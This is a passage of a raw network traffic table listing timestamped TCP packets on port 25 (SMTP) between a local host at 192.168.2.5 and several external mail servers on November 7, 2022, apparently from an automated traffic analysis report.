Nov 7, 2022 22:24:37.238524914 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238554001 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238581896 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238609076 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238639116 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238667965 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238694906 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238723040 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238750935 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238779068 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238806963 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238836050 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238864899 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238923073 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238954067 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.238984108 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.239012957 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.239356041 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.239391088 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.239418983 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.239448071 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.239567995 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.239599943 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.239626884 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.239655018 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.239763975 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.239852905 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.239882946 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.239911079 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.239938974 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.239967108 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.239995956 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240022898 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240050077 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240077019 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240104914 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240132093 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240159035 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240186930 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240216970 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240243912 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240271091 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240302086 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240328074 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240361929 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240390062 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240418911 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240448952 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240474939 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240502119 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240533113 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240560055 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240588903 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240740061 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240772963 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240801096 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240829945 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240859032 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240888119 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240916014 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240945101 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.240972996 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.241010904 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.241039991 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.241059065 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.241077900 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.241106987 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.241134882 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.241162062 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.241189957 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.241219997 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.241556883 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.241600037 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.241636038 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.241667986 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.241704941 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.241743088 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.241786957 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.241837025 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.241875887 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.241921902 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.241964102 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.242008924 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.242053032 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.242089033 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.242134094 CET	25	49771	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:37.270761013 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.270823002 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.270867109 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.270936012 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.271019936 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.271078110 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.294306040 CET	49772	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:37.333126068 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.333291054 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.333344936 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.333344936 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.333380938 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.333436012 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.333439112 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.333487988 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.333507061 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.333559990 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.333564997 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.333616972 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.333664894 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.333666086 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.333673954 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.333726883 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.333726883 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.333779097 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.333787918 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.333821058 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.333848953 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.333874941 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.333874941 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.333878040 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.333906889 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.333910942 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.333935022 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.333993912 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.334017038 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.334017038 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.334017992 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.334043026 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.334047079 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.334116936 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.334186077 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.334223986 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.334248066 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.334253073 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.334281921 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.334297895 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.334498882 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.334527969 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.334557056 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.334594011 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.334599972 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.334599972 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.334599972 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.334625959 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.334652901 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.334656000 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.334683895 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.334698915 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.334779978 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.334824085 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.334862947 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.334919930 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.334933996 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.335026026 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.335048914 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.335068941 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.335191965 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.335223913 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.335249901 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.335252047 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.335279942 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.335282087 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.335314035 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.335326910 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.335364103 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.335417032 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.335489035 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.335520029 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.335541010 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.335546970 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.335575104 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.335592031 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.335627079 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.335679054 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.335767984 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.335798025 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.335822105 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.335841894 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.335880995 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.335973978 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.336024046 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.336055040 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.336091995 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.336091995 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.336134911 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.336220980 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.336252928 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.336289883 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.336317062 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.336321115 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.336349964 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.336415052 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.336415052 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.336415052 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.336473942 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.336512089 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.336539984 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.336549997 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.336581945 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.336606979 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.336612940 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.336625099 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.336647987 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.336653948 CET	49758	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:37.336684942 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.336714029 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.336741924 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.336771011 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.336797953 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.336826086 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.336853027 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.336880922 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.336908102 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.336935997 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.336963892 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.336992979 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.337019920 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.337047100 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.337079048 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.337105989 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.337133884 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.482654095 CET	25	49772	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:37.505130053 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:37.538561106 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:37.548718929 CET	25	49773	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:37.623054981 CET	49773	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:37.633481979 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.633516073 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.633533955 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.633550882 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.633567095 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.633584023 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.633599043 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.633711100 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.696274042 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.696449041 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.696472883 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.696563005 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.696577072 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.696758986 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.696795940 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.696877003 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.697088957 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.697201967 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.697215080 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.697411060 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.697427034 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.697479963 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.697664976 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.697863102 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.697877884 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.697890043 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.697957993 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.698035955 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.698159933 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.698282957 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.698543072 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.698559999 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.699265003 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.699282885 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.699434042 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.699448109 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.699474096 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.699486017 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.699599028 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.699644089 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.699656963 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.699846983 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.699861050 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.699872017 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.699965954 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.699980021 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.699991941 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.700002909 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.700042009 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.700054884 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.700165033 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.700177908 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.700189114 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.700242996 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.700254917 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.700366020 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.700381041 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.700444937 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.700458050 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.700470924 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.700560093 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.700643063 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.700792074 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.700840950 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.700891018 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.700903893 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.700916052 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.700927019 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.700938940 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.700998068 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.701036930 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.701126099 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.701160908 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.701301098 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.701317072 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.701329947 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.701339960 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.701453924 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.701474905 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.701570988 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.701585054 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.701642990 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.701735020 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.701946020 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.701986074 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.701999903 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.702049017 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.702064037 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.702079058 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.702176094 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.702189922 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.702254057 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.702267885 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.702280045 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.702325106 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.702359915 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.702497959 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.702513933 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.702563047 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.702620029 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.702644110 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.702656031 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.702728987 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.702742100 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.702851057 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.702866077 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.702903032 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.702980995 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.702995062 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.703038931 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.703172922 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.703190088 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.703222036 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.703324080 CET	25	49758	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:37.835858107 CET	25	49772	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:38.029781103 CET	49772	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:38.107827902 CET	49773	25	192.168.2.5	142.250.147.27
